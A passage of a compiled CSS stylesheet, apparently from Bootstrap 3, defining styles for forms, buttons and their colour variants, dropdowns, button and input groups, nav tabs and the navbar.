.form-inline .radio label,\n .form-inline .checkbox label {\n padding-left: 0;\n }\n .form-inline .radio input[type=\"radio\"],\n .form-inline .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .form-inline .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n margin-top: 0;\n margin-bottom: 0;\n padding-top: 7px;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n min-height: 27px;\n}\n.form-horizontal .form-group {\n margin-left: -15px;\n margin-right: -15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .control-label {\n text-align: right;\n margin-bottom: 0;\n padding-top: 7px;\n }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n right: 15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-lg .control-label {\n padding-top: 11px;\n font-size: 18px;\n }\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-sm .control-label {\n padding-top: 6px;\n font-size: 12px;\n }\n}\n.btn {\n display: inline-block;\n margin-bottom: 0;\n font-weight: normal;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none;\n border: 1px solid transparent;\n white-space: nowrap;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n border-radius: 4px;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n color: #333;\n text-decoration: none;\n}\n.btn:active,\n.btn.active {\n outline: 0;\n background-image: none;\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n cursor: not-allowed;\n opacity: 0.65;\n filter: alpha(opacity=65);\n -webkit-box-shadow: none;\n box-shadow: none;\n}\na.btn.disabled,\nfieldset[disabled] a.btn {\n pointer-events: none;\n}\n.btn-default {\n color: #333;\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default:focus,\n.btn-default.focus {\n color: #333;\n background-color: #e6e6e6;\n border-color: #8c8c8c;\n}\n.btn-default:hover {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active:hover,\n.btn-default.active:hover,\n.open > .dropdown-toggle.btn-default:hover,\n.btn-default:active:focus,\n.btn-default.active:focus,\n.open > .dropdown-toggle.btn-default:focus,\n.btn-default:active.focus,\n.btn-default.active.focus,\n.open > .dropdown-toggle.btn-default.focus {\n color: #333;\n background-color: #d4d4d4;\n border-color: #8c8c8c;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n background-image: none;\n}\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus {\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default .badge {\n color: #fff;\n background-color: #333;\n}\n.btn-primary {\n color: #fff;\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary:focus,\n.btn-primary.focus {\n color: #fff;\n background-color: #286090;\n border-color: #122b40;\n}\n.btn-primary:hover {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active:hover,\n.btn-primary.active:hover,\n.open > .dropdown-toggle.btn-primary:hover,\n.btn-primary:active:focus,\n.btn-primary.active:focus,\n.open > .dropdown-toggle.btn-primary:focus,\n.btn-primary:active.focus,\n.btn-primary.active.focus,\n.open > .dropdown-toggle.btn-primary.focus {\n color: #fff;\n background-color: #204d74;\n border-color: #122b40;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n background-image: none;\n}\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus {\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.btn-success {\n color: #fff;\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success:focus,\n.btn-success.focus {\n color: #fff;\n background-color: #449d44;\n border-color: #255625;\n}\n.btn-success:hover {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active:hover,\n.btn-success.active:hover,\n.open > .dropdown-toggle.btn-success:hover,\n.btn-success:active:focus,\n.btn-success.active:focus,\n.open > .dropdown-toggle.btn-success:focus,\n.btn-success:active.focus,\n.btn-success.active.focus,\n.open > .dropdown-toggle.btn-success.focus {\n color: #fff;\n background-color: #398439;\n border-color: #255625;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n background-image: none;\n}\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus {\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success .badge {\n color: #5cb85c;\n background-color: #fff;\n}\n.btn-info {\n color: #fff;\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info:focus,\n.btn-info.focus {\n color: #fff;\n background-color: #31b0d5;\n border-color: #1b6d85;\n}\n.btn-info:hover {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active:hover,\n.btn-info.active:hover,\n.open > .dropdown-toggle.btn-info:hover,\n.btn-info:active:focus,\n.btn-info.active:focus,\n.open > .dropdown-toggle.btn-info:focus,\n.btn-info:active.focus,\n.btn-info.active.focus,\n.open > .dropdown-toggle.btn-info.focus {\n color: #fff;\n background-color: #269abc;\n border-color: #1b6d85;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n background-image: none;\n}\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus {\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info .badge {\n color: #5bc0de;\n background-color: #fff;\n}\n.btn-warning {\n color: #fff;\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning:focus,\n.btn-warning.focus {\n color: #fff;\n background-color: #ec971f;\n border-color: #985f0d;\n}\n.btn-warning:hover {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active:hover,\n.btn-warning.active:hover,\n.open > .dropdown-toggle.btn-warning:hover,\n.btn-warning:active:focus,\n.btn-warning.active:focus,\n.open > .dropdown-toggle.btn-warning:focus,\n.btn-warning:active.focus,\n.btn-warning.active.focus,\n.open > .dropdown-toggle.btn-warning.focus {\n color: #fff;\n background-color: #d58512;\n border-color: #985f0d;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n background-image: none;\n}\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus {\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning .badge {\n color: #f0ad4e;\n background-color: #fff;\n}\n.btn-danger {\n color: #fff;\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger:focus,\n.btn-danger.focus {\n color: #fff;\n background-color: #c9302c;\n border-color: #761c19;\n}\n.btn-danger:hover {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active:hover,\n.btn-danger.active:hover,\n.open > .dropdown-toggle.btn-danger:hover,\n.btn-danger:active:focus,\n.btn-danger.active:focus,\n.open > .dropdown-toggle.btn-danger:focus,\n.btn-danger:active.focus,\n.btn-danger.active.focus,\n.open > .dropdown-toggle.btn-danger.focus {\n color: #fff;\n background-color: #ac2925;\n border-color: #761c19;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n background-image: none;\n}\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus {\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger .badge {\n color: #d9534f;\n background-color: #fff;\n}\n.btn-link {\n color: #337ab7;\n font-weight: normal;\n border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n background-color: transparent;\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n color: #23527c;\n text-decoration: underline;\n background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n color: #777777;\n text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n padding: 1px 5px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-block {\n display: block;\n width: 100%;\n}\n.btn-block + .btn-block {\n margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n.fade {\n opacity: 0;\n -webkit-transition: opacity 0.15s linear;\n -o-transition: opacity 0.15s linear;\n transition: opacity 0.15s linear;\n}\n.fade.in {\n opacity: 1;\n}\n.collapse {\n display: none;\n}\n.collapse.in {\n display: block;\n}\ntr.collapse.in {\n display: table-row;\n}\ntbody.collapse.in {\n display: table-row-group;\n}\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n -webkit-transition-property: height, visibility;\n transition-property: height, visibility;\n -webkit-transition-duration: 0.35s;\n transition-duration: 0.35s;\n -webkit-transition-timing-function: ease;\n transition-timing-function: ease;\n}\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: 4px dashed;\n border-top: 4px solid \\9;\n border-right: 4px solid transparent;\n border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n position: relative;\n}\n.dropdown-toggle:focus {\n outline: 0;\n}\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0;\n list-style: none;\n font-size: 14px;\n text-align: left;\n background-color: #fff;\n border: 1px solid #ccc;\n border: 1px solid rgba(0, 0, 0, 0.15);\n border-radius: 4px;\n -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n background-clip: padding-box;\n}\n.dropdown-menu.pull-right {\n right: 0;\n left: auto;\n}\n.dropdown-menu .divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: 1.42857143;\n color: #333333;\n white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n text-decoration: none;\n color: #262626;\n background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n color: #fff;\n text-decoration: none;\n outline: 0;\n background-color: #337ab7;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n color: #777777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none;\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n cursor: not-allowed;\n}\n.open > .dropdown-menu {\n display: block;\n}\n.open > a {\n outline: 0;\n}\n.dropdown-menu-right {\n left: auto;\n right: 0;\n}\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: 12px;\n line-height: 1.42857143;\n color: #777777;\n white-space: nowrap;\n}\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: 990;\n}\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n border-top: 0;\n border-bottom: 4px dashed;\n border-bottom: 4px solid \\9;\n content: \"\";\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n .navbar-right .dropdown-menu {\n left: auto;\n right: 0;\n }\n .navbar-right .dropdown-menu-left {\n left: 0;\n right: auto;\n }\n}\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n margin-left: -1px;\n}\n.btn-toolbar {\n margin-left: -5px;\n}\n.btn-toolbar .btn,\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n.btn-group.open .dropdown-toggle {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn .caret {\n margin-left: 0;\n}\n.btn-lg .caret {\n border-width: 5px 5px 0;\n border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group-vertical > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n}\n.btn-group-justified > .btn,\n.btn-group-justified > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n}\n.btn-group-justified > .btn-group .btn {\n width: 100%;\n}\n.btn-group-justified > .btn-group .dropdown-menu {\n left: auto;\n}\n[data-toggle=\"buttons\"] > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"radio\"],\n[data-toggle=\"buttons\"] > .btn input[type=\"checkbox\"],\n[data-toggle=\"buttons\"] > .btn-group > .btn input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n}\n.input-group {\n position: relative;\n display: table;\n border-collapse: separate;\n}\n.input-group[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n}\n.input-group .form-control {\n position: relative;\n z-index: 2;\n float: left;\n width: 100%;\n margin-bottom: 0;\n}\n.input-group .form-control:focus {\n z-index: 3;\n}\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-group-lg > .form-control,\nselect.input-group-lg > .input-group-addon,\nselect.input-group-lg > .input-group-btn > .btn {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-group-lg > .form-control,\ntextarea.input-group-lg > .input-group-addon,\ntextarea.input-group-lg > .input-group-btn > .btn,\nselect[multiple].input-group-lg > .form-control,\nselect[multiple].input-group-lg > .input-group-addon,\nselect[multiple].input-group-lg > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-group-sm > .form-control,\nselect.input-group-sm > .input-group-addon,\nselect.input-group-sm > .input-group-btn > .btn {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-group-sm > .form-control,\ntextarea.input-group-sm > .input-group-addon,\ntextarea.input-group-sm > .input-group-btn > .btn,\nselect[multiple].input-group-sm > .form-control,\nselect[multiple].input-group-sm > .input-group-addon,\nselect[multiple].input-group-sm > .input-group-btn > .btn {\n height: auto;\n}\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n}\n.input-group-addon:not(:first-child):not(:last-child),\n.input-group-btn:not(:first-child):not(:last-child),\n.input-group .form-control:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle;\n}\n.input-group-addon {\n padding: 6px 12px;\n font-size: 14px;\n font-weight: normal;\n line-height: 1;\n color: #555555;\n text-align: center;\n background-color: #eeeeee;\n border: 1px solid #ccc;\n border-radius: 4px;\n}\n.input-group-addon.input-sm {\n padding: 5px 10px;\n font-size: 12px;\n border-radius: 3px;\n}\n.input-group-addon.input-lg {\n padding: 10px 16px;\n font-size: 18px;\n border-radius: 6px;\n}\n.input-group-addon input[type=\"radio\"],\n.input-group-addon input[type=\"checkbox\"] {\n margin-top: 0;\n}\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n.input-group-btn {\n position: relative;\n font-size: 0;\n white-space: nowrap;\n}\n.input-group-btn > .btn {\n position: relative;\n}\n.input-group-btn > .btn + .btn {\n margin-left: -1px;\n}\n.input-group-btn > .btn:hover,\n.input-group-btn > .btn:focus,\n.input-group-btn > .btn:active {\n z-index: 2;\n}\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group {\n margin-right: -1px;\n}\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group {\n z-index: 2;\n margin-left: -1px;\n}\n.nav {\n margin-bottom: 0;\n padding-left: 0;\n list-style: none;\n}\n.nav > li {\n position: relative;\n display: block;\n}\n.nav > li > a {\n position: relative;\n display: block;\n padding: 10px 15px;\n}\n.nav > li > a:hover,\n.nav > li > a:focus {\n text-decoration: none;\n background-color: #eeeeee;\n}\n.nav > li.disabled > a {\n color: #777777;\n}\n.nav > li.disabled > a:hover,\n.nav > li.disabled > a:focus {\n color: #777777;\n text-decoration: none;\n background-color: transparent;\n cursor: not-allowed;\n}\n.nav .open > a,\n.nav .open > a:hover,\n.nav .open > a:focus {\n background-color: #eeeeee;\n border-color: #337ab7;\n}\n.nav .nav-divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.nav > li > a > img {\n max-width: none;\n}\n.nav-tabs {\n border-bottom: 1px solid #ddd;\n}\n.nav-tabs > li {\n float: left;\n margin-bottom: -1px;\n}\n.nav-tabs > li > a {\n margin-right: 2px;\n line-height: 1.42857143;\n border: 1px solid transparent;\n border-radius: 4px 4px 0 0;\n}\n.nav-tabs > li > a:hover {\n border-color: #eeeeee #eeeeee #ddd;\n}\n.nav-tabs > li.active > a,\n.nav-tabs > li.active > a:hover,\n.nav-tabs > li.active > a:focus {\n color: #555555;\n background-color: #fff;\n border: 1px solid #ddd;\n border-bottom-color: transparent;\n cursor: default;\n}\n.nav-tabs.nav-justified {\n width: 100%;\n border-bottom: 0;\n}\n.nav-tabs.nav-justified > li {\n float: none;\n}\n.nav-tabs.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-tabs.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-tabs.nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs.nav-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs.nav-justified > .active > a,\n.nav-tabs.nav-justified > .active > a:hover,\n.nav-tabs.nav-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs.nav-justified > li > a {\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs.nav-justified > .active > a,\n .nav-tabs.nav-justified > .active > a:hover,\n .nav-tabs.nav-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.nav-pills > li {\n float: left;\n}\n.nav-pills > li > a {\n border-radius: 4px;\n}\n.nav-pills > li + li {\n margin-left: 2px;\n}\n.nav-pills > li.active > a,\n.nav-pills > li.active > a:hover,\n.nav-pills > li.active > a:focus {\n color: #fff;\n background-color: #337ab7;\n}\n.nav-stacked > li {\n float: none;\n}\n.nav-stacked > li + li {\n margin-top: 2px;\n margin-left: 0;\n}\n.nav-justified {\n width: 100%;\n}\n.nav-justified > li {\n float: none;\n}\n.nav-justified > li > a {\n text-align: center;\n margin-bottom: 5px;\n}\n.nav-justified > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n}\n@media (min-width: 768px) {\n .nav-justified > li {\n display: table-cell;\n width: 1%;\n }\n .nav-justified > li > a {\n margin-bottom: 0;\n }\n}\n.nav-tabs-justified {\n border-bottom: 0;\n}\n.nav-tabs-justified > li > a {\n margin-right: 0;\n border-radius: 4px;\n}\n.nav-tabs-justified > .active > a,\n.nav-tabs-justified > .active > a:hover,\n.nav-tabs-justified > .active > a:focus {\n border: 1px solid #ddd;\n}\n@media (min-width: 768px) {\n .nav-tabs-justified > li > a {\n border-bottom: 1px solid #ddd;\n border-radius: 4px 4px 0 0;\n }\n .nav-tabs-justified > .active > a,\n .nav-tabs-justified > .active > a:hover,\n .nav-tabs-justified > .active > a:focus {\n border-bottom-color: #fff;\n }\n}\n.tab-content > .tab-pane {\n display: none;\n}\n.tab-content > .active {\n display: block;\n}\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.navbar {\n position: relative;\n min-height: 50px;\n margin-bottom: 20px;\n border: 1px solid transparent;\n}\n@media (min-width: 768px) {\n .navbar {\n border-radius: 4px;\n }\n}\n@media (min-width: 768px) {\n .navbar-header {\n float: left;\n }\n}\n.navbar-collapse {\n overflow-x: visible;\n padding-right: 15px;\n padding-left: 15px;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);\n -webkit-overflow-scrolling: touch;\n}\n.navbar-collapse.in {\n overflow-y: auto;\n}\n@media (min-width: 768px) {\n .navbar-collapse {\n width: auto;\n border-top: 0;\n box-shadow: none;\n }\n .navbar-collapse.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0;\n overflow: visible !important;\n }\n .navbar-collapse.in {\n overflow-y: visible;\n }\n .navbar-fixed-top .navbar-collapse,\n .navbar-static-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n padding-left: 0;\n padding-right: 0;\n }\n}\n.navbar-fixed-top .navbar-collapse,\n.navbar-fixed-bottom .navbar-collapse {\n max-height: 340px;\n}\n@media (max-device-width: 480px) and (orientation: landscape) {\n .navbar-fixed-top .navbar-collapse,\n .navbar-fixed-bottom .navbar-collapse {\n max-height: 200px;\n }\n}\n.container > .navbar-header,\n.container-fluid > .navbar-header,\n.container > .navbar-collapse,\n.container-fluid > .navbar-collapse {\n margin-right: -15px;\n margin-left: -15px;\n}\n@media (min-width: 768px) {\n .container > .navbar-header,\n .container-fluid > .navbar-header,\n .container > .navbar-collapse,\n .container-fluid > .navbar-collapse {\n margin-right: 0;\n margin-left: 0;\n }\n}\n.navbar-static-top {\n z-index: 1000;\n border-width: 0 0 1px;\n}\n@media (min-width: 768px) {\n .navbar-static-top {\n border-radius: 0;\n 